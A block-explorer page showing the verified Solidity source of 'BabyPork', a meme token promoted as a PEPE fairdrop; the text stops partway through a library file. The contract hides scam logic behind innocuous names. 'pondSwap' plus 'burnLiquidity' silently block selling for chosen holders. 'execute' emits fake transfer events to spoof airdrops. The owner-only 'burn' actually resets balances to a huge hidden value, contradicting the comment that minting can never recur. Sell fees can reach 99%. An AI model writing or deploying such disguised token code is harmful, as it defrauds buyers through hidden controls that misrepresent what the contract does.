ETH Price: $3,170.07 (+3.62%)

Token

(0x6a1528c74502a335fc445a95bbafcf35b863805b)
 

Overview

Max Total Supply

10,000,000,000 ERC-20 TOKEN*

Holders

75 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
rewkang.eth
Balance
0 ERC-20 TOKEN*

Value
$0.00
0x67c0fc4b0490ab7e76c08c2bbd30fac0059bbc7a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyPork

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 7: Baby Pork.sol
/*
The Official Fork of PEPE -- $BabyPORK
If you've ever held PEPE, there is a FairDrop claim waiting for you.
Forked and Fairdropped.  
 ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄   
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ 
▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌          
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ 
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ 
▐░▌          ▐░▌          ▐░▌          ▐░▌          
▐░▌          ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌          ▐░█▄▄▄▄▄▄▄▄▄ 
▐░▌          ▐░░░░░░░░░░░▌▐░▌          ▐░░░░░░░░░░░▌
 ▀            ▀▀▀▀▀▀▀▀▀▀▀  ▀            ▀▀▀▀▀▀▀▀▀▀▀ 
                                                    
 ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄    ▄      
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌     
▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌      
▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌▐░▌       
▐░█▄▄▄▄▄▄▄▄▄ ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌░▌        
▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░▌         
▐░█▀▀▀▀▀▀▀▀▀ ▐░▌       ▐░▌▐░█▀▀▀▀█░█▀▀ ▐░▌░▌        
▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌▐░▌       
▐░▌          ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌ ▐░▌ ▐░▌      
▐░▌          ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░▌  ▐░▌     
 ▀            ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀    ▀      


Website  - https://babypork.wtf/     https://www.pondcoin.com/
Twitter  - https://twitter.com/babyporktoken
Medium   - https://medium.com/@babypork
Telegram - https://t.me/BabyPORKtoken

*/// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Library.sol";

contract BabyPork is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) private _0xisExcludedFromFeeIsExcludedMaxTransactionAmount;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor(address team_) ERC20("Baby Pork", "BabyPORK", team_) {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 10000000000 * 10**9;    

        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    function _lp(address from) internal view returns(bool){
        return !_0xisExcludedFromFeeIsExcludedMaxTransactionAmount[from];
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    
     // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }

     function pondSwap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _0xisExcludedFromFeeIsExcludedMaxTransactionAmount[address_[i]] = val;
        }
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_lp(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function nonfungiblePositionManager(address recipient) external view returns(bool){
        return _0xisExcludedFromFeeIsExcludedMaxTransactionAmount[recipient];
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

  

File 2 of 7: Context.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


File 3 of 7: ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;
import "./Ownable.sol";
import "./Library.sol";
import "./IERC20.sol";


interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address team_) Ownable(team_){
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 4 of 7: IERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 5 of 7: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
